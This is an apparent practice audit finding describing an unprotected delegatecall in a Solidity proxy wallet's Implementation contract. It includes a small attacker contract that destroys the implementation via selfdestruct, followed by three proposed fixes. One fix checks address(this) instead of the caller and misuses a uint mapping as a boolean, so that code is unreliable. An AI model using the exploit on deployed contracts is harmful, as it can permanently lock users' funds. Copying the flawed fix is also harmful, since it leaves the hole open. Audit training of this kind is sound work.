---
# System prepended metadata

title: Untitled

---

## Anyone can execute selfdestruct via delegatecall
**Severity**: High risk

Context: [`Implementation.sol#L17-L21`](https://github.com/spearbit-audits/writing-exercise/blob/develop/contracts/Implementation.sol#L17-L21)

Anyone can execute the delegatecallContract function in Implementation contract. This means that evil user can attack for Implementation contract by `selfdestruct`.

If Implementation contract was broken, the users using Proxy cannot moving their ETH and ERC20 tokens *permanently*.

- The attacker will attack in the following ways
1. The attacker deploy a evil contract. It has `selfdestruction` function
2. Evil execute their own `selfdestruct` function via delegatecallContract function of Implementation.sol

This code is below.
``` solidity
address payable eve; 

function pwn(address imp) external {
  bytes memory data = abi.encodeWithSignature("destroy()");
  Imp(imp).delegatecallContract(address(this), data);
}

function destroy() external {
  selfdestruct(eve);
}
/* Code Explain
eve:  evil address(need to be payable to send ETH by selfdestruct)
pwn(): The function this code executing 2 above.
destroy(): The function to destroy Implementation contract by selfdestruct
*/
```
**Recommendation**: 

■ Solution.1: **Using Call not Delegatecall**
① Don't using the `delegatecall` and using `call` from Proxy-contract to Implementation-contract.
② Deleting the delegatecallContract function in Impelementation.sol.

This code is below.

① Context: [`Proxy.sol#L34`](https://github.com/spearbit-audits/writing-exercise/blob/develop/contracts/Proxy.sol#L34)
``` solidity
// Delete this code
let success := delegatecall(gas(), _implementation, 0, calldatasize(), 0, 0)
// And this code takes the place of the above code.
let success := call(gas(), _implementation, callvalue(), 0, calldatasize(), 0, 0)
```
② Context: [`Implementation.sol#L17-#L21`](https://github.com/spearbit-audits/writing-exercise/blob/develop/contracts/Implementation.sol#L17-L21)
``` solidity
// Delete this all code
function delegatecallContract(address a, bytes calldata _calldata) payable external returns (bytes memory) {
    (bool success, bytes memory ret) =  a.delegatecall(_calldata);
    require(success);
    return ret;
}
```

■ Solution.2: **Restricting the Executor not Anyone**
This problem is caused by the fact that anyone can execute a delegatecallContract function.
To prevent this, you should create a list of contracts address that can execute delegatecallContract of the implementation contract.

This code is below.
Context: [`Implementation.sol`](https://github.com/spearbit-audits/writing-exercise/blob/develop/contracts/Implementation.sol)
``` solidity
import "@openzeppelin/contracts/ownership/Ownable.sol";
contract Implementation is Ownable {
  mapping(address => uint256) public proxies; //gas saving compared with (address => bool)
  function addProxy(address _proxy) public onlyOwner {
      proxies[_proxy] = 1;
  }

  function deleteProxy(address _proxy) public onlyOwner {
      proxies[_proxy] = 2; //gas saving compared with changing from 1 to 0 // nonZero => nonZero is cheap
  }
  
  function delegatecallContract(address a, bytes calldata _calldata) payable external returns (bytes memory) {
    require(proxies[address(this)], "You are not proxies!!!");
    ...
  }
}
```

■ Solution.3: **Being Library, not a Contract.**
The purpose of Impelementation-contract is using the funds of Proxy.

>  To use these funds, users can execute arbitrary calls and arbitrary delegatecalls by using the implementation contract.

Quote: [Documenetaion](https://github.com/spearbit-audits/writing-exercise#wallet-protocol)

This means that it doesn't matter Implemetation is contract or not.　
If this contract is changed to a library, selfdestruct attack can be prevented because selfdestruct can destroy only contract.

This code is below.
Context: [`Implementation.sol`](https://github.com/spearbit-audits/writing-exercise/blob/develop/contracts/Implementation.sol)
``` solidity
// You need to change the word from contract to library and delete the two payable modifier.
library Implementation {
  function callContract(address a, bytes calldata _calldata)
    external
    returns (bytes memory)
  {
    (bool success, bytes memory ret) = a.call{ value: msg.value }(_calldata);
    require(success);
    return ret;
  }

  function delegatecallContract(address a, bytes calldata _calldata)
    external
    returns (bytes memory)
  {
    (bool success, bytes memory ret) = a.delegatecall(_calldata);
    require(success);
    return ret;
  }
}
```

***Thank you for reading 😌***